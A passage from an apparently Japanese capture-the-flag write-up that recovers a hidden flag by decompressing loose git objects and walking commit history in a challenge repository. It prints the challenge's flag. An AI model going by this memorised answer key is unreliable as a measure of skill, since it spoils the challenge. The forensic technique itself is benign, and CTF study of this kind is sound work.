zlib.decompress(open("objects/80/7a75195753882b07b69bddced3fd82d3ccaf9c").read())' blob 79~~ My Wishlist ~~ * A dog * Computer game * A wolf t-shirt * Stickers * Pencil $ cat refs/heads/master 2fec4e955704bd60292a9f9169f05c3334e555f4 $ python -c 'import zlib; print zlib.decompress(open("objects/2f/ec4e955704bd60292a9f9169f05c3334e555f4").read())' commit 261tree b1f96509209200a6dda7ad4bdeb70261c730abe2 parent b182065ebc321a5432ab89be1ef2240077b3fbec author Calle Svensson <calle.svensson@zeta-two.com> 1523665372 +0200 committer Calle Svensson <calle.svensson@zeta-two.com> 1523665372 +0200 Added pencil to wishlist $ python -c 'import zlib; print zlib.decompress(open("objects/b1/f96509209200a6dda7ad4bdeb70261c730abe2").read())' | xxd -g 1 0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64 tree 77.100644 d 0000010: 69 61 72 79 2e 74 78 74 00 4b 3c a9 1d 6d db a6 iary.txt.K<..m.. 0000020: e9 f0 aa bd 33 c3 6d 2a 4f a7 15 91 ab 31 30 30 ....3.m*O....100 0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74 644 wishlist.txt 0000040: 00 80 7a 75 19 57 53 88 2b 07 b6 9b dd ce d3 fd ..zu.WS.+....... 0000050: 82 d3 cc af 9c 0a ...... $ python -c 'import zlib; print zlib.decompress(open("objects/80/7a75195753882b07b69bddced3fd82d3ccaf9c").read())' blob 79~~ My Wishlist ~~ * A dog * Computer game * A wolf t-shirt * Stickers * Pencil $ python -c 'import zlib; print zlib.decompress(open("objects/b1/82065ebc321a5432ab89be1ef2240077b3fbec").read())' commit 247tree ebad3d2a3f429429928e9b1a8169564dc9342f7a parent e7354a8187cd28c075e602f40380968d2865dcac author Calle Svensson <calle.svensson@zeta-two.com> 1523665225 +0200 committer Calle Svensson <calle.svensson@zeta-two.com> 1523665225 +0200 April 14th $ python -c 'import zlib; print zlib.decompress(open("objects/eb/ad3d2a3f429429928e9b1a8169564dc9342f7a").read())' | xxd -g 1 0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64 tree 77.100644 d 0000010: 69 61 72 79 2e 74 78 74 00 4b 3c a9 1d 6d db a6 iary.txt.K<..m.. 0000020: e9 f0 aa bd 33 c3 6d 2a 4f a7 15 91 ab 31 30 30 ....3.m*O....100 0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74 644 wishlist.txt 0000040: 00 d9 30 f1 5a c0 20 06 4a d6 e7 94 48 53 2b 3c ..0.Z. .J...HS+< 0000050: 5b 9c 08 71 ef 0a [..q.. $ python -c 'import zlib; print zlib.decompress(open("objects/d9/30f15ac020064ad6e79448532b3c5b9c0871ef").read())' Traceback (most recent call last): File "<string>", line 1, in <module> IOError: [Errno 2] No such file or directory: 'objects/d9/30f15ac020064ad6e79448532b3c5b9c0871ef' $ python -c 'import zlib; print zlib.decompress(open("objects/e7/354a8187cd28c075e602f40380968d2865dcac").read())' commit 247tree 2160a4fb4d08f926f96580f8e44ecb3012bb3e12 parent afe5a9b6a373add54d07d874fb08edeec4a740da author Calle Svensson <calle.svensson@zeta-two.com> 1523665209 +0200 committer Calle Svensson <calle.svensson@zeta-two.com> 1523665209 +0200 April 13th $ python -c 'import zlib; print zlib.decompress(open("objects/21/60a4fb4d08f926f96580f8e44ecb3012bb3e12").read())' | xxd -g 1 0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64 tree 77.100644 d 0000010: 69 61 72 79 2e 74 78 74 00 9f ad 23 eb 69 12 54 iary.txt...#.i.T 0000020: cd 25 42 fe 37 7b 6d c6 06 4b a7 ef 53 31 30 30 .%B.7{m..K..S100 0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74 644 wishlist.txt 0000040: 00 d9 30 f1 5a c0 20 06 4a d6 e7 94 48 53 2b 3c ..0.Z. .J...HS+< 0000050: 5b 9c 08 71 ef 0a [..q.. $ python -c 'import zlib; print zlib.decompress(open("objects/9f/ad23eb691254cd2542fe377b6dc6064ba7ef53").read())' blob 415Hello! This is my diary. There are many like it but this one is mine. April 9th Today was a good day. I ate some pie. April 10th I was a little bit sad today. April 11th Today I found a flag, it said: <PAGE TORN HERE> that sounds very interesting. April 12th I called my uncle today. He said he read a cool story in the newspaper. April 13th Tomorrow is my birthday. I am very excited to see if I get a cake. $ python -c 'import zlib; print zlib.decompress(open("objects/af/e5a9b6a373add54d07d874fb08edeec4a740da").read())' Traceback (most recent call last): File "<string>", line 1, in <module> IOError: [Errno 2] No such file or directory: 'objects/af/e5a9b6a373add54d07d874fb08edeec4a740da'
フラグが見つからない。手あたり次第調べる。
$ python -c 'import zlib; print zlib.decompress(open("objects/1c/8a3c51ee520c73063961fe289a5bda4a5e50c5").read())' commit 246tree 1dd5ab00ec968226aad37c2a0e23a3f8fba9e4aa parent 32dbb65cd1d1612a9c88805dde8a32115a19949f author Calle Svensson <calle.svensson@zeta-two.com> 1523665080 +0200 committer Calle Svensson <calle.svensson@zeta-two.com> 1523665080 +0200 April 9th $ python -c 'import zlib; print zlib.decompress(open("objects/1d/d5ab00ec968226aad37c2a0e23a3f8fba9e4aa").read())' | xxd -g 1 0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64 tree 77.100644 d 0000010: 69 61 72 79 2e 74 78 74 00 2a c0 ee cb a4 ba b7 iary.txt.*...... 0000020: 2c 3e e1 3f 57 44 bd f8 41 94 7a 5f 7e 31 30 30 ,>.?WD..A.z_~100 0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74 644 wishlist.txt 0000040: 00 d9 30 f1 5a c0 20 06 4a d6 e7 94 48 53 2b 3c ..0.Z. .J...HS+< 0000050: 5b 9c 08 71 ef 0a [..q.. $ python -c 'import zlib; print zlib.decompress(open("objects/2a/c0eecba4bab72c3ee13f5744bdf841947a5f7e").read())' blob 120Hello! This is my diary. There are many like it but this one is mine. April 9th Today was a good day. I ate some pie. $ python -c 'import zlib; print zlib.decompress(open("objects/32/dbb65cd1d1612a9c88805dde8a32115a19949f").read())' commit 266tree b78b2c9900bb05e863f8a3e74e656f2822d9a01f parent 6a815d656900fface9ed54f74d16bb80821fec47 author Calle Svensson <calle.svensson@zeta-two.com> 1523665066 +0200 committer Calle Svensson <calle.svensson@zeta-two.com> 1523665066 +0200 Added stickers to my wishlist $ python -c 'import zlib; print zlib.decompress(open("objects/b7/8b2c9900bb05e863f8a3e74e656f2822d9a01f").read())' | xxd -g 1 0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64 tree 77.100644 d 0000010: 69 61 72 79 2e 74 78 74 00 fa bb 13 23 4d d9 4f iary.txt....#M.O 0000020: 69 76 40 22 0e d4 48 ab db d0 5f 3a b1 31 30 30 iv@"..H..._:.100 0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74 644 wishlist.txt 0000040: 00 d9 30 f1 5a c0 20 06 4a d6 e7 94 48 53 2b 3c ..0.Z. .J...HS+< 0000050: 5b 9c 08 71 ef 0a [..q.. $ python -c 'import zlib; print zlib.decompress(open("objects/fa/bb13234dd94f697640220ed448abdbd05f3ab1").read())' blob 72Hello! This is my diary. There are many like it but this one is mine. $ python -c 'import zlib; print zlib.decompress(open("objects/6a/815d656900fface9ed54f74d16bb80821fec47").read())' commit 205tree 7db3bf515b769b5507c420e59671d527500998f4 author Calle Svensson <calle.svensson@zeta-two.com> 1523665007 +0200 committer Calle Svensson <calle.svensson@zeta-two.com> 1523665007 +0200 Created my diary $ python -c 'import zlib; print zlib.decompress(open("objects/7d/b3bf515b769b5507c420e59671d527500998f4").read())' | xxd -g 1 0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64 tree 77.100644 d 0000010: 69 61 72 79 2e 74 78 74 00 fa bb 13 23 4d d9 4f iary.txt....#M.O 0000020: 69 76 40 22 0e d4 48 ab db d0 5f 3a b1 31 30 30 iv@"..H..._:.100 0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74 644 wishlist.txt 0000040: 00 eb 05 64 99 96 aa d8 ae e2 a9 a7 1e 7a 22 f8 ...d.........z". 0000050: 89 c1 44 09 46 0a ..D.F. $ python -c 'import zlib; print zlib.decompress(open("objects/eb/05649996aad8aee2a9a71e7a22f889c1440946").read())' blob 59~~ My Wishlist ~~ * A dog * Computer game * A wolf t-shirt $ python -c 'import zlib; print zlib.decompress(open("objects/4e/9a1fe2aeb76cd0ab2c3d232691b714146b0475").read())' commit 247tree 101878b72d0c1f07341bef8f4c4f01c5b99412df parent f668fa6d35bcf679fe0b2a4eb53a4379b8489eed author Calle Svensson <calle.svensson@zeta-two.com> 1523665126 +0200 committer Calle Svensson <calle.svensson@zeta-two.com> 1523665126 +0200 April 11th $ python -c 'import zlib; print zlib.decompress(open("objects/10/1878b72d0c1f07341bef8f4c4f01c5b99412df").read())' | xxd -g 1 0000000: 74 72 65 65 20 37 37 00 31 30 30 36 34 34 20 64 tree 77.100644 d 0000010: 69 61 72 79 2e 74 78 74 00 18 f0 c6 6f e2 47 07 iary.txt....o.G. 0000020: 6f 80 1b a8 ee a1 9c 47 8f 8b e3 d4 49 31 30 30 o......G....I100 0000030: 36 34 34 20 77 69 73 68 6c 69 73 74 2e 74 78 74 644 wishlist.txt 0000040: 00 d9 30 f1 5a c0 20 06 4a d6 e7 94 48 53 2b 3c ..0.Z. .J...HS+< 0000050: 5b 9c 08 71 ef 0a [..q.. $ python -c 'import zlib; print zlib.decompress(open("objects/18/f0c66fe247076f801ba8eea19c478f8be3d449").read())' blob 285Hello! This is my diary. There are many like it but this one is mine. April 9th Today was a good day. I ate some pie. April 10th I was a little bit sad today. April 11th Today I found a flag, it said: midnight{if_an_object_ref_falls_and_no_one_hears} that sounds very interesting.
midnight{if_an_object_ref_falls_and_no_one_hears}